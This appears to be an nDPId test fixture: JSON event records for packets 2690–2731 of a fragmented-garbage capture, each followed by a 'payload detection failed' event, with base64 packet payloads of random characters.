+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2690,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2691,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2692,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2693,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2694,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131387,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2695,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2696,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2697,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2698,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2699,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2700,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2701,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131525,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131607,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131857,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":131869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 